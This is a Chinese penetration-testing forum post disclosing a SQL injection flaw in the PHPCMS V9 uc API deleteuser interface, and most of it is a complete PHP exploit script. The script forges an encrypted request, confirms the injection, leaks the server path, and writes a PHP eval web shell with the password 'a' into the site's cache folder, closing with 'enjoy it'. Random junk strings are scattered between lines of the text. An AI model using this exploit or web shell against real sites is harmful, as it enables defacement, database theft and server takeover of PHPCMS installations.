中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
2 j% ?3 ^4 q; K
2 c& n% }9 J# Z6 G
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
) p! ]4 j% e/ ?9 Z1 c4 ~$ H% X
! t1 E5 j6 O. _6 b3 S$ T3 K
漏洞分析:
" U7 y- U7 B1 W/ G7 K3 `. D
1.未启用ucenter服务的情况下uc_key为空
6 g1 A3 K+ ^, }8 K! v# T. Y. z
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
3 j& Y* q- A( C9 L# G2 N! Z
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
% H: t( W* l1 f& {- j& B
public function deleteuser($get,$post) {
+ z* M: C- M3 n: ^9 S$ [$ S1 S
pc_base::load_app_func('global', 'admin');
, A. c" j+ S( m" [9 Y
pc_base::load_app_class('messagequeue', 'admin' , 0);
+ z, ?) j# X- K, ^
$ids = new_stripslashes($get['ids']);
; L1 u( p# Y8 J
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
+ W9 Q' c, c1 t O+ k: d. R |
SQL语句为
0 T. W3 Z, e( Q3 W; Q6 |$ S4 z
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; I f4 s- m, e1 \7 L/ `9 A1 M m
$ g* C; a# k+ W9 y7 L
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
( A% h' D6 j1 |9 w/ A
<?php
9 R5 y9 @& G2 g+ O; d
print_r('
* {* _7 _) I0 Z: f' V, S9 D# ^
---------------------------------------------------------------------------
& f, ?* U: `/ J# m3 q
PHPcms (v9 or Old Version) uc api sql injection 0day
% p/ s @7 S" S- Z. |$ G
by rayh4c#80sec.com
& v) E: q/ V& Y" R. i% v
---------------------------------------------------------------------------
. |8 m+ J, P' J5 f# B* }
');
. A2 V5 t- V# X# c, Y) I8 X9 Z
2 S, A, I7 ~! U4 P
if ($argc<3) {
0 e7 [5 b4 H# c+ }) V w Y
print_r('
4 G+ w( ?( Y) Z' W
---------------------------------------------------------------------------
7 ~. U2 A8 H4 p6 a
Usage: php '.$argv[0].' host path OPTIONS
$ G3 X1 g/ F1 K' K8 c4 g, w4 H" q# \
host: target server (ip/hostname)
3 a6 I3 H8 @5 b h B- T; y; _+ V/ Z
path: path to phpcms
6 r( j/ H# { p2 o& q! r' L1 ^
Options:
1 m* ]2 f6 l A; Z
-p[port]: specify a port other than 80
P: \4 V! v' c4 l) d8 n
-P[ip:port]: specify a proxy
9 y$ n7 Z- r( h# }7 R
Example:
, W F6 I- M3 Y W- b
php '.$argv[0].' localhost /
# f/ B& D! G1 ]2 ^
php '.$argv[0].' localhost /phpcms/ -p81
& e2 Y# ]% X5 K8 ?3 a3 {& U
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
0 n6 k8 |1 q6 U
---------------------------------------------------------------------------
% u% i* D5 n u {: u6 o
');
, l! R3 L& a3 D! g# s U
die;
9 m F% q* S: j4 m. d
}
" I2 r1 Y* K# T4 |; L1 i/ d1 ~4 S
m; |; I8 p+ g! j% ^* B% h
error_reporting(7);
6 Y+ Q: P6 g4 M$ Q$ q, \, }' U4 b
ini_set("max_execution_time",0);
; h3 o+ p) B% d. g* U; X3 j
ini_set("default_socket_timeout",5);
# Q/ n1 D- n& D) o: R# v2 }' W
: B7 Q! `, |/ ]* H/ i
function quick_dump($string)
" l1 v2 P0 [4 x) }6 r) D
{
0 Q8 E6 L/ F; p+ ~
$result='';$exa='';$cont=0;
. Y% B. L. B9 e$ D& X, N8 P( d
for ($i=0; $i<=strlen($string)-1; $i++)
5 |# X6 z0 x, S0 l
{
$ a" z+ c) E' b' [
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
! b: U4 }, u1 M& F( H! W
{$result.=" .";}
! u9 y9 m! D" W+ {) W1 \. g0 G
else
! P3 Q* C9 Q) m, D: `: J1 W
{$result.=" ".$string[$i];}
& o& V* i& D* [
if (strlen(dechex(ord($string[$i])))==2)
( ?8 i9 _! Y+ M' t/ V9 _% l
{$exa.=" ".dechex(ord($string[$i]));}
$ r6 Z5 W8 ?7 d) z% i
else
) A1 P2 r, [6 x
{$exa.=" 0".dechex(ord($string[$i]));}
* a" ]* h' {, L( y2 p5 v
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
7 B3 X T* W0 t" @
}
4 W( |# \, W" c6 o# i0 S
return $exa."\r\n".$result;
! [: G, a/ ~7 ?3 D9 H
}
6 ]4 F$ B8 C& C3 G0 c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
: s3 P( u) X5 h9 s4 J& Y% h' \: t
4 C6 k4 x7 X9 Q/ D; P9 V a) U. Q
function send($packet)
: e2 v% H0 I. M! v) [4 ]& U
{
# G9 X' T5 g. B' u5 W1 Y5 F
global $proxy, $host, $port, $html, $proxy_regex;
) i# [6 C" B2 _6 a7 F( k3 X
if ($proxy=='') {
" X# x7 L1 X/ f
$ock=fsockopen(gethostbyname($host),$port);
3 ~6 @1 w+ R- Q9 _) y% B
if (!$ock) {
' {/ c, L& g/ b; C: I( a4 M
echo 'No response from '.$host.':'.$port; die;
/ l. C) \' {0 {' { {0 d- M' q
}
# l6 E7 ~& y- |/ j) i& L3 P
}
. _4 H# z4 D' C( A5 X* x
else {
s% f$ o( ~6 H' _
$c = preg_match($proxy_regex,$proxy);
) R( o. u X: \6 E# K* [
if (!$c) {
* j4 a6 G) t3 I
echo 'Not a valid proxy...';die;
" h6 m9 L7 x4 g0 o! S% e t$ B5 r
}
: p& R+ P, g* P8 } L1 g6 M d+ X, N4 c
$parts=explode(':',$proxy);
# H2 T" ]* |" N/ r& }
$parts[1]=(int)$parts[1];
- Q$ Y6 C* G; W' U$ K9 a+ d+ u
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 Z0 z: z2 L; r/ p" g: f# b/ v/ Y$ I
$ock=fsockopen($parts[0],$parts[1]);
* ~2 r: @( j' v+ U2 p8 }( K
if (!$ock) {
1 C. c/ G3 Z1 v) z' C! c
echo 'No response from proxy...';die;
& R, E0 G8 r; ]
}
$ x Z0 ~0 ^. \! V4 F$ | K: s
}
/ B4 l V' \+ _/ }
fputs($ock,$packet);
2 n0 f3 r$ l: ?: u
if ($proxy=='') {
$ q( e( N3 \& T* _" ]
$html='';
u$ ]9 B$ k$ m( M5 T
while (!feof($ock)) {
, q8 i2 g/ e$ d) L) H6 X' _
$html.=fgets($ock);
! `; z. X5 s( F, a9 m
}
% `, n7 e9 u# d
}
5 r% l# [2 B! P$ i% l
else {
4 \+ C3 p. y" Q
$html='';
9 K z: }8 G4 x5 G
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' _% z) O3 ~% T" }7 Q- p6 J
$html.=fread($ock,1);
' b7 \' {, Z9 w3 O) l
}
* m9 Y6 C6 V0 [% u2 }% ?0 u, w% g
}
" K5 G' t) s9 p- O3 `
fclose($ock);
$ X3 _9 G$ b2 m9 T/ M. @, R- `
}
- T {6 J. h: q1 B _
1 X8 n3 V7 R5 D9 I! u9 k6 w
$host=$argv[1];
7 m9 c4 d8 K5 ?# _/ k
$path=$argv[2];
5 R2 i$ H6 t6 S0 M
$port=80;
6 D1 E9 s) t) X9 z3 ]$ g- Z
$proxy="";
+ ^# }- r1 n/ i! W$ ~" \
for ($i=3; $i<$argc; $i++){
: k- }; L" e7 [# ?& f% {: W5 ]
$temp=$argv[$i][0].$argv[$i][1];
/ |7 @' r. M5 `) K! `& F% {8 h
if ($temp=="-p")
- {: M Y+ w9 ]: U$ L$ X/ ^+ g
{
6 ~ I5 S9 N1 ^, O7 R9 \/ ?
$port=(int)str_replace("-p","",$argv[$i]);
+ I7 |" u" l7 [; ?2 s" g" ]
}
! [& ~* s2 I9 {8 e) Z: c3 \( v
if ($temp=="-P")
8 `$ s8 L E0 l9 s: Y
{
' T) ~/ l! m+ H6 d( S. E
$proxy=str_replace("-P","",$argv[$i]);
7 i S1 ^9 L+ }$ C! a: i1 B
}
- a* V0 {4 h# ~ |( P& s/ b# s
}
* j ], x/ ?+ n! W/ ?0 m* n# _ P; c
+ F- r/ J5 c" K3 x
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
2 G! S! w* |9 S7 k, q
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
) u% V" w: D5 V) c2 ?7 Y
1 P1 z8 j& O+ m. x& ?. d! s, O! F
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! T. }" c( b0 }% [
- s6 F% |1 W0 u! A# H- f: j
$ckey_length = 4;
4 I1 P6 R/ h' p/ r
3 C0 t! R0 S; v$ N# ~ @1 k( l
$key = md5($key ? $key : '');
3 C+ |% E# `$ ~
$keya = md5(substr($key, 0, 16));
# ~( x; ?- X& K3 L7 f# J# U* |
$keyb = md5(substr($key, 16, 16));
& u- w% h$ G" P( q& g2 x- i' |
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
8 P. }% x. ~6 y4 L* k
+ c0 m7 z& Q: r' O* z4 Q( }
$cryptkey = $keya.md5($keya.$keyc);
# M% @7 }$ W+ w. H2 |
$key_length = strlen($cryptkey);
* W. q! H9 a9 v
$ c. [/ S3 r3 b
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
! {. t4 B' g9 L1 ~5 i9 e
$string_length = strlen($string);
# g( e* k7 x/ K# O
* C; Q" s& S/ c P2 _; F
$result = '';
* t$ H# u6 X6 t
$box = range(0, 255);
5 ~7 v5 |) v& x" ]+ l4 v5 ]5 @) E# h
. |7 j1 f3 X# e( G% N5 f) Z, Q
$rndkey = array();
2 U+ }/ F0 M: v2 C6 s, }0 ^" B
for($i = 0; $i <= 255; $i++) {
/ l: d$ Q8 X+ v2 I3 a) n2 ~
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
" f7 |5 g% w- l6 o7 g7 S- Q' W
}
+ G( I: y: ~: J1 N( v
R8 @* O' l* ^% {) S
for($j = $i = 0; $i < 256; $i++) {
1 Y/ { j5 u3 x# Y9 k
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
, ]& q7 l1 ~% P) U
$tmp = $box[$i];
P; \9 A) z0 |5 U9 j, d
$box[$i] = $box[$j];
+ f, c: a( j2 d9 F0 i0 Q, c
$box[$j] = $tmp;
( m o( {; g* B- a
}
6 m) d! C8 k2 a% P& f
9 s# k3 K. T3 y, w& F- [% v
for($a = $j = $i = 0; $i < $string_length; $i++) {
( H- c: c$ K7 J$ h: @' d
$a = ($a + 1) % 256;
2 d: \( x1 {8 B% E
$j = ($j + $box[$a]) % 256;
1 K X0 T) N/ Z
$tmp = $box[$a];
$ e6 g, ^1 J, g. N
$box[$a] = $box[$j];
; ^9 g" B2 y7 I8 t5 a
$box[$j] = $tmp;
) G5 O8 f, ?7 i( ^
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" R- G Q5 M% D7 H6 t
}
: U! z: }: P5 t1 e# M7 r8 V7 {
0 ]! ~6 A0 }( u% D4 Y
if($operation == 'DECODE') {
6 q/ f( I5 E* c; _% c
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
9 ^! S. A9 P% L+ T! I' {4 s4 P
return substr($result, 26);
2 U: M6 ?0 A) ~+ a. p* M
} else {
: Q% L& P& p9 y: u2 b2 `
return '';
1 ]7 ^+ p0 r( ~
}
! q& M+ J; K4 Y- [) X Q# k
} else {
- o8 [- C2 _; g+ t" {; i3 c+ E
return $keyc.str_replace('=', '', base64_encode($result));
" v6 ]( H& }( `7 b
}
2 L; o% b) g0 N" c. ~1 v
' V- `9 L4 y% u
}
; t* ^9 e, B. x( ^9 k
- f4 @9 q8 L1 U1 V
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 ~! b* N8 e4 e3 o3 D8 ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 V1 \, `* s# c0 @
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
2 n3 X: `7 }" @& I5 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, q6 E% R3 c1 u( o% j
$packet.="User-Agent: Mozilla/5.0\r\n";
1 I5 d1 Z# \0 S
$packet.="Host: ".$host."\r\n";
0 @2 N* W# }% j" O q3 B* M
$packet.="Connection: Close\r\n\r\n";
. c; h$ L# C7 x. o( E5 y
send($packet);
# X2 D' E# ? \; I" j
if(strpos($html,"MySQL Errno") > 0){
/ @$ t6 Q8 y" I
echo "[2] 发现存在SQL注入漏洞"."\n";
: v2 F; ]1 p, n" M+ [
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% w$ E/ O5 J! p/ E( h8 y: w; |! K
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
+ u/ ]9 H( b' d$ K' U1 j
$packet.="User-Agent: Mozilla/5.0\r\n";
* S" u L5 X8 w! |% n8 T0 z5 h
$packet.="Host: ".$host."\r\n";
7 ~7 h4 m# |9 a4 F* | w
$packet.="Connection: Close\r\n\r\n";
6 m- |3 e% a; z' _9 Y1 G* s
send($packet);
! |% q% [& M+ E& K. d2 B b$ |
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
9 f$ K$ z' ^6 {8 |( l8 Q5 L
//print_r($matches);
& c+ |! N2 J _$ p- a/ f0 \) b' Y
if(!empty($matches)){
" d- K7 Q2 O( h* A( X% k
echo "[4] 得到web路径 " . $matches[0]."\n";
, L) w3 u( o7 r+ w$ r4 T
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
6 o- p) M1 i2 g; V
$SQL = "time=999999999999999999999999&ids=1)";
* Z2 Q0 A* a* K* m$ T* v
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' i; k6 L$ j7 K% f5 Z
$SQL.="&action=deleteuser";
1 b% Q1 t: K) ]4 e2 T$ ]7 E1 s
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: G u3 f: b5 F4 s3 `
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
; G1 L4 y9 @' _6 O5 C
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
' ]! ~* I$ I. [1 c" f3 q
$packet.="User-Agent: Mozilla/5.0\r\n";
: g# d6 N1 W7 o4 s! K) m6 {
$packet.="Host: ".$host."\r\n";
5 D4 m( ~- V0 `1 B. M+ l3 p
$packet.="Connection: Close\r\n\r\n";
( i1 A- i+ } B5 c2 L- {: |
send($packet);
( \& }) E \1 ?9 L6 M% w) k
if(strpos($html,"Access denied") > 0){
: }0 r: c6 _1 l) A
echo "[-] MYSQL权限过低 禁止写入文件
";
! Z5 h" {( E7 o- ^# B6 |1 ~
die;
1 p( G3 S$ _, r. ^3 F1 k, ]
}
# [2 N3 z: P8 N, y/ p( T
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
- H+ v( [& h& N
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ b4 G3 U1 g; ]# a& y' o6 M
$packet.="User-Agent: Mozilla/5.0\r\n";
& p4 L# T9 {1 r+ E* {6 ]& t
$packet.="Host: ".$host."\r\n";
' q2 [4 d6 Y# q* s" v
$packet.="Connection: Close\r\n\r\n";
t# ^) ~5 u" H b8 A) H
send($packet);
$ b0 v1 P$ [0 m
if(strpos($html,"<title>phpinfo()</title>") > 0){
4 a# ~ A3 J2 j/ o
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
( Y% P2 ^" ^4 @/ x, A, `
}
& c3 ?6 S6 j. Q! ^2 F$ V- X! b# k
}else{
6 S+ H( D o* y2 ]. w4 P; o, F' o
echo "[-]未取到web路径
";
) \* j8 e, `" h. f* t0 k7 }( v* h, q
}
, N; e g2 A. ~7 j, n5 J( s. m
}else{
$ T; c2 f- q, K4 ~: O
echo "[*]不存在SQL注入漏洞"."\n";
! d+ k( F; v7 E7 Y
}
- _$ f* E* u5 a9 ~, T! W
* d1 u) _# O4 g4 f( ~" R
?>
$ J$ Y* R/ a T
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2